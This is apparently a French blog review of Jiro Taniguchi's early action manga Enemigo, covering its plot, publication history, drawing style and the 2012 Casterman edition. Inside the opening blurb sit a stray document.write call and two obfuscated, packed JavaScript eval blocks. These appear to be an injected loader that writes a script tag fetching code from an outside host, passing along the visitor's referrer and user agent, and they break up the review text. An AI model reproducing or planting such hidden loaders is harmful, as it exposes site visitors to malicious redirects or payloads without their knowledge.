Enemigo

“Après avoir connu la dictature et la guerre civile, document.write(“”); le Nacencio, État d’Amérique latine, s’engage sur la voie de la modernisation. Afin de transformer la jungle du sud du pays en terres arables, les autorités font appel à la société japonaise de bâtiment Seshimo. Lorsque Yûji Seshimo, son jeune et brillant président, se rend sur place, il est kidnappé par des mercenaires qui demandent l’arrêt immédiat des travaux… Manoeuvre du lobby du blé américain afin de contrer un concurrent potentiel ? Baroud d’honneur des derniers partisans de la dictature ? Opération commando des forces révolutionnaires? Complot des membres du conseil d’administration de Seshimo hostiles au trop jeune patron ?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrdir|var|u0026u|referrer|ekhka||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dykir|var|u0026u|referrer|bidkr||js|php’.split(‘|’),0,{}))

“C’est à Ken’ichi, le frère de Yûj, qu’il revient de démêler l’écheveau. Accompagné de Gloria, la secrétaire de son frère, cet ancien du Vietnam, aujourd’hui détective privé aux Etats-Unis, s’enfonce dans la jungle du Nacencio où l’attendent trahisons, courses-poursuites, guet-apens et autres réjouissances !” [ Texte du rabat intérieur de couverture ]

Continuez après le saut de page >>

Enemigo (?????) est d’abord sérialisé dans le magazine d’Akita Shoten Play Comic entre décembre 1984 et avril 1985 avant d’être publié en un volume au Japon en 1985 par Futabasha [voir couverture ci-contre] (et réédité par Kobunsha en 2007 avec le sous-titre “The director’s cut edition”). Il sera publié en France, dans la collection Sakka de Casterman, à la fin juin 2012. Conçu et dessiné par Jiro TANIGUCHI, ce manga seinen a été écrit par M.A.T., qui serait (selon la postface de Taniguchi) un ”groupe d’action scenaristique” dont l’identité demeure toujours un mystère même de nos jours. Le titre Enemigo veut dire ennemi en espagnol, ce qui permet à l’auteur de faire dire au protagoniste le clin d’oeil “adios enemigo” au lieu du traditionnel “adios amigo.”

Enemigo fait partie des “oeuvres de jeunesse” de Taniguchi et, par conséquent, n’a donc rien à voir avec le style plus raffiné et les récits introspectifs qui ont fait sa renommé en Europe. À ses débuts il s’intéressait surtout à des histoires d’action et son style n’est pas encore parfaitement défini. Pour plus de détails sur la mise en contexte de ce manga dans l’ensemble de l’oeuvre de Taniguchi, je vous réfère à mon commentaire précédant qui porte sur Garôden, un manga datant de 1990. 

[ Planches 8 à 10, ici présentées de gauche à droite : ]

Taniguchi nous dit dans la postface que les récits d’aventure-action étaient à l’époque forts populaires en littérature mais pratiquement absents dans le manga et c’est pour remédier à cette lacune qu’il entreprit Enemigo. Il s’est inspiré du roman noir américain qui met en scène un héros dur au coeur tendre et qui ne manque pas de repartie. Il a tenté de donner un angle socio-politique au récit mais tout en restant authentique aux “codes traditionnels du genre (une belle commanditaire, des armes à feu, des morts, l’amitié, l’amour, la trahison, la séparation finale).” Évidemment les exigences du genre (les détectives-privés ne foisonnent pas au Japon) l’ont amené à situer l’histoire à l’étranger (en Amérique du Sud et à New York) et comme Taniguchi s’intéressait déjà (et en subissait l’influence) à la bande-dessinée européenne, la critique de l’époque a reproché à Enemigo d’être trop occidental. On y reconnait aussi une grande influence du cinéma d’action américain (style Rambo). [Page 16, ci-contre]

[ Planches 25 et 36-37, encore une fois présentées ici de gauche à droite : ]

Enemigo est, jusqu’à maintenant (avec Le chien Blanco), le titre le plus ancien de Taniguchi à avoir été traduit. Et, on a beau parler d’une oeuvre de jeunesse, il est évident que, dans les années ’80, Taniguchi possède déjà une grande maîtrise de son art. Ainsi, malgré qu’elle soit antérieure à Garôden, je trouve l’histoire d’Enemigo beaucoup plus intéressante, quoique certains diront sûrement qu’il s’agit d’un polar peu originale et plutôt stéréotypée, mais n’était-ce pas ce que recherchait Taniguchi? Il sait inculqué au récit une forte tension, y ajoutant beaucoup de violence (et même une scène de sexe! Là on est vraiment loin de ses récits contemplatifs des années ’90!), et réussit sans mal à conserver l’attention du lecteur. Ce n’est certes pas parfait mais que demander de plus? Même son dessin m’apparait plus détaillé, quoiqu’il est encore chargé de plusieurs “lignes de vitesse” et d’effets sonore, mais quand même moins que pour Garôden. [Page 56, ci-contre]

[ Planches 99, 146 et 160, toujours présentées de gauche à droite : ]

On reconnait d’ailleurs déjà dans Enemigo plusieurs éléments précurseurs qui feront la force des oeuvres récentes de Taniguchi: le récit se déroule plutôt lentement (et ce malgré que ce soit une histoire d’action), le héros est pensif et solitaire, on y retrouve aussi un certain soucis du détail (particulièrement dans les paysages d’arrière-plan) ainsi qu’un intérêt pour la nature et les animaux (la jungle et le chien Little John qui est en quelque sorte le second du héros et que Taniguchi avait expressément demandé aux scénaristes d’inclure dans le récit).

[ Finalement, les Planches 178-79, présentées de gauche à droite : ]

C’est un livre plus soigné où l’on retrouve une douzaine de planches couleurs et un important dossier de quarante-trois pages qui comporte une galerie d’illustrations (cinq en couleurs et plusieurs sketch), une postface et un interview de Taniguchi ainsi que des commentaires par Katsuya Terada (Blood: The Last Vampire, Saiyukiden), Nicolas Finet (DicoManga), Vittorio Giardino (Les Enquêtes de Sam Pezzo), François Schuiten (Les Cités obscures), et Baru (L’Autoroute du soleil).

Pour conclure, Enemigo est certes un thriller noir plutôt typique mais c’est tout de même un très bon gekiga et je le recommande chaudement.

Enemigo, par Jiro TANIGUCHI (dessin) & M.A.T. (texte). Paris, Sakka (Casterman), 2012. 15 x 21 x 2.3 cm, 312 pgs,. 13,95 € / $24.95 Can. Sens de lecture original. ISBN: 978-2-203-03011-4. Recommandé pour jeune adulte (14+).
Enemigo © Jiro TANIGUCHI / M.A.T., 2007; © CASTERMAN, 2012 pour la traduction française.

[ Translate ]